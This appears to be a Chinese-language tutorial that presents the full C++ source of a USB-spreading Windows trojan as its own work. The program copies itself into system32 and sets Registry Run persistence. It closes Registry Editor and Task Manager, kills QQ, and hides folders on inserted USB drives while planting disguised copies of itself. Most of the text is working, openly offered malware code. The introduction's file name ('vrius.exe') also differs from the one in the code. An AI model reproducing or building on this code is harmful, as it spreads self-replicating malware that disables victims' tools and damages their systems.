1、程序运行后将自身复制到C:\\WINDOWS\\system32\\文件夹下,程序名为vrius.exe。
2、在注册表HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 下写入键值,实现程序开机启动。
3、程序定时器每秒启发一次,如果发现,注册表,任务管理器被打开,立即将其关闭。
(可以使用驱动级反病毒辅助软件。比如冰刃,狙剑结束此程序进程,因为程序运行后就无法使用Windows任务管理器了)。
4、程序每秒枚举一次进程,如发现QQ进程,立即将其结束(无论是已登录还是正在登陆)。
(想结束杀软进程的,我们的程序运行在R3级别,杀软运行在R0级别,难度还是比较大的。杀软如果能被轻易搞掉他就不叫杀软了。)
5、程序运行后检测是否有可移动设备插入(U盘),U盘插入,会有WM_DEVICECHANGE消息产生。
如果发现有U盘插入,获取U盘盘符,列出U盘根目录下存在的文件夹,将这些文件夹的属性设置为系统加隐藏属性。此时U盘中的目录(文件夹)将全部不可见,拷贝C:\\WINDOWS\\system32\\virus.exe到U盘,程序名为U盘下文件夹的文件名加上.exe。比如你的U盘本来有一个
Virus文件夹,现在我将其属性设为系统文件+隐藏。然后把C:\\WINDOWS\\system32\\virus.exe拷贝到U盘将其命名为Virus.exe
一般用户的【隐藏已知文件名的扩展名】是打着勾的。如果我们将我们的程序的图标改成文件夹的图标。是不会发现异常的。
当用户打开U盘,单击“文件夹”时,就启发了我们的程序,程序运行,自我复制。。。。。。。
这样就实现了我们的“木马”,通过U盘等可移动设备传播。。
以下是代码:
#include "stdafx.h" #include <windows.h> #include <Dbt.h> #include <iostream> #include"io.h" #include "tlhelp32.h" using namespace std; LRESULT CALLBACK WndProc( HWND hwnd, // handle to window UINT uMsg, // message identifier WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ); void KillProcess(HWND hwnd); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WNDCLASS wndclass; wndclass.cbClsExtra=0; wndclass.cbWndExtra=0; wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH); wndclass.hCursor=LoadCursor(NULL,IDC_ICON); wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK); wndclass.hInstance=hInstance; wndclass.lpfnWndProc=WndProc; wndclass.lpszClassName="lieying"; wndclass.lpszMenuName=NULL; wndclass.style=CS_VREDRAW|CS_HREDRAW; RegisterClass(&wndclass); //注册窗口类 HWND hwnd; hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL); ShowWindow(hwnd,SW_HIDE); //隐藏窗体 UpdateWindow(hwnd); MSG msg; while(GetMessage(&msg,hwnd,0,0)) //消息循环 { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } LRESULT CALLBACK WndProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) //窗口过程 { switch(uMsg) { case WM_PAINT: { PAINTSTRUCT ps; BeginPaint(hwnd,&ps); EndPaint(hwnd,&ps); break; } case WM_CLOSE: { DestroyWindow(hwnd); break; } case WM_DESTROY: { PostQuitMessage(0); break; } case WM_CREATE: //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。 { SetTimer(hwnd,1,1000,NULL); //设置定时器,每秒调用一次。 //复制文件自身到系统目录 TCHAR ExeFullPath[MAX_PATH]; GetModuleFileName(NULL,ExeFullPath,MAX_PATH); //获取exe的全路径(包括文件名) TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe"; //Copy到系统目录。。。。 CopyFile(ExeFullPath,NewFilePath,TRUE); //写注册表,实现开机运行。 HKEY hkey; TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe"; TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey); RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue)); RegCloseKey(hkey); break; } case WM_DEVICECHANGE: //移动存储设备插入电脑会产生WM_DEVICECHANGE消息 { if(lParam!=0) { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。 if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME) { if(wParam==DBT_DEVICEARRIVAL) //移动存储设备已经可用。 { long i,j; TCHAR buf[100]; TCHAR *cdbuf; j=100; i=GetLogicalDriveStrings(j,buf); for(j=0;j<i;j+=4) { cdbuf=&buf[j]; if(GetDriveType(cdbuf)==DRIVE_REMOVABLE) //判断插入设备的类型是否为可移动设备 { TCHAR FileName[MAX_PATH]; strcpy(FileName,cdbuf); TCHAR f[MAX_PATH]=TEXT("\\*."); strcat(FileName,f); struct _finddata_t files; int File_Handle; int i=0; File_Handle = _findfirst(FileName,&files); if(File_Handle==-1) { break; } do { TCHAR temp[MAX_PATH]; strcpy(temp,strcat(cdbuf,"\\")); strcat(cdbuf,files.name); //目录正常显示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE); SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //给目录添加隐藏,系统属性。 CopyFile("C:\\WINDOWS\\system32\\virus.exe",strcat(cdbuf,".exe"),FALSE); //将系统目录下的病毒文件,拷贝到U盘,名字为U盘子目录的名字加.exe。 i++; strcpy(cdbuf,temp); } while(0==_findnext(File_Handle,&files)); _findclose(File_Handle); //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION); } } } } } } break; case WM_TIMER: //处理WM_TIMER消息 { HWND hwReg=FindWindow("RegEdit_RegEdit","注册表编辑器"); //寻找注册表 if(hwReg!=NULL) { SendMessage(hwReg,WM_CLOSE,NULL,NULL); //如果找到注册表,立即关闭 } HWND hwTsk=FindWindow("#32770","Windows 任务管理器"); //寻找任务管理器 if(hwTsk!=NULL) { SendMessage(hwTsk,WM_CLOSE,NULL,NULL); //如果找到任务管理器,立即关闭 } HWND hwQQ=FindWindow("TXGuiFoundation",NULL); //查找QQ if(hwQQ!=NULL) { KillProcess(hwnd); //杀死QQ进程,无论已经登陆QQ,还是正在登陆。。。。 } } break; default: { return DefWindowProc(hwnd,uMsg,wParam,lParam); break; } } return 0; } void KillProcess(HWND hwnd) //关闭QQ进程 { // TODO: Add your control notification handler code here // PROCESSENTRY32结构对象 PROCESSENTRY32 pe; // 创建快照句柄 pe.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 先搜索系统中第一个进程的信息 Process32First(hSnapshot, &pe); TCHAR szFile[MAX_PATH]; int p; // 下面对系统中的所有进程进行枚举, do{ lstrcpy(szFile, pe.szExeFile); p = lstrcmp(szFile, "QQ.exe"); if(0 == p) //if(strlen(pe.szExeFile)>0)判断关闭系统进程外的所以进程 { HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID); //先取得他 if(h) TerminateProcess(h, 0); //关闭 //break; } }while(Process32Next(hSnapshot, &pe)); // 关闭快照句柄 CloseHandle(hSnapshot); }